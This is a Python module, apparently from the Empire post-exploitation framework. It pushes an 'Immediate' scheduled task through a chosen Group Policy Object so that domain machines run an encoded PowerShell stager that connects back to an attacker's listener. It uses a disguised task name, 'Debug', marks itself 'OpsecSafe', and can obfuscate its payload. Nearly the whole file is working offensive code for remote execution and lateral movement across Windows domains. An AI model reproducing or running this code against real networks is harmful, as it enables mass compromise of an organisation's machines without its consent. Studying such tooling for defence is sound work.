167 lines
6.5 KiB
Python
167 lines
6.5 KiB
Python
from lib.common import helpers
|
|
|
|
class Module:
|
|
|
|
def __init__(self, mainMenu, params=[]):
|
|
|
|
self.info = {
|
|
'Name': 'New-GPOImmediateTask',
|
|
|
|
'Author': ['@harmj0y'],
|
|
|
|
'Description': ("Builds an 'Immediate' schtask to push out through a specified GPO."),
|
|
|
|
'Background' : True,
|
|
|
|
'OutputExtension' : None,
|
|
|
|
'NeedsAdmin' : False,
|
|
|
|
'OpsecSafe' : True,
|
|
|
|
'Language' : 'powershell',
|
|
|
|
'MinLanguageVersion' : '2',
|
|
|
|
'Comments': [
|
|
'https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/'
|
|
]
|
|
}
|
|
|
|
# any options needed by the module, settable during runtime
|
|
self.options = {
|
|
# format:
|
|
# value_name : {description, required, default_value}
|
|
'Agent' : {
|
|
'Description' : 'Agent to run module on.',
|
|
'Required' : True,
|
|
'Value' : ''
|
|
},
|
|
'TaskName' : {
|
|
'Description' : 'Name for the schtask to create.',
|
|
'Required' : True,
|
|
'Value' : 'Debug'
|
|
},
|
|
'TaskDescription' : {
|
|
'Description' : 'Name for the schtask to create.',
|
|
'Required' : False,
|
|
'Value' : 'Debugging functionality.'
|
|
},
|
|
'TaskAuthor' : {
|
|
'Description' : 'Name for the schtask to create.',
|
|
'Required' : True,
|
|
'Value' : 'NT AUTHORITY\System'
|
|
},
|
|
'GPOname' : {
|
|
'Description' : 'The GPO name to build the task for.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'GPODisplayName' : {
|
|
'Description' : 'The GPO display name to build the task for.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'Domain' : {
|
|
'Description' : 'The domain to query for the GPOs, defaults to the current domain.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'DomainController' : {
|
|
'Description' : 'Domain controller to reflect LDAP queries through.',
|
|
'Required' : False,
|
|
'Value' : ''
|
|
},
|
|
'Listener' : {
|
|
'Description' : 'Listener to use.',
|
|
'Required' : True,
|
|
'Value' : ''
|
|
},
|
|
'UserAgent' : {
|
|
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
|
'Required' : False,
|
|
'Value' : 'default'
|
|
},
|
|
'Proxy' : {
|
|
'Description' : 'Proxy to use for request (default, none, or other).',
|
|
'Required' : False,
|
|
'Value' : 'default'
|
|
},
|
|
'ProxyCreds' : {
|
|
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
|
'Required' : False,
|
|
'Value' : 'default'
|
|
},
|
|
'Remove' : {
|
|
'Description' : 'Switch. Remove the immediate schtask.',
|
|
'Required' : False,
|
|
'Value' : 'default'
|
|
}
|
|
}
|
|
|
|
# save off a copy of the mainMenu object to access external functionality
|
|
# like listeners/agent handlers/etc.
|
|
self.mainMenu = mainMenu
|
|
|
|
for param in params:
|
|
# parameter format is [Name, Value]
|
|
option, value = param
|
|
if option in self.options:
|
|
self.options[option]['Value'] = value
|
|
|
|
|
|
def generate(self, obfuscate=False, obfuscationCommand=""):
|
|
|
|
moduleName = self.info["Name"]
|
|
listenerName = self.options['Listener']['Value']
|
|
userAgent = self.options['UserAgent']['Value']
|
|
proxy = self.options['Proxy']['Value']
|
|
proxyCreds = self.options['ProxyCreds']['Value']
|
|
|
|
if not self.mainMenu.listeners.is_listener_valid(listenerName):
|
|
# not a valid listener, return nothing for the script
|
|
print helpers.color("[!] Invalid listener: " + listenerName)
|
|
return ""
|
|
|
|
else:
|
|
|
|
# generate the PowerShell one-liner with all of the proper options set
|
|
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
|
|
|
|
command = "/c \""+launcher+"\""
|
|
|
|
if command == "":
|
|
return ""
|
|
|
|
else:
|
|
|
|
# read in the common powerview.ps1 module source code
|
|
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
|
try:
|
|
f = open(moduleSource, 'r')
|
|
except:
|
|
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
|
return ""
|
|
|
|
moduleCode = f.read()
|
|
f.close()
|
|
|
|
# get just the code needed for the specified function
|
|
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
|
|
|
script = moduleName + " -Command cmd -CommandArguments '"+command+"' -Force"
|
|
|
|
for option,values in self.options.iteritems():
|
|
if option.lower() in ["taskname", "taskdescription", "taskauthor", "gponame", "gpodisplayname", "domain", "domaincontroller"]:
|
|
if values['Value'] and values['Value'] != '':
|
|
if values['Value'].lower() == "true":
|
|
# if we're just adding a switch
|
|
script += " -" + str(option)
|
|
else:
|
|
script += " -" + str(option) + " '" + str(values['Value']) + "'"
|
|
|
|
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
|
if obfuscate:
|
|
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
|
return script
|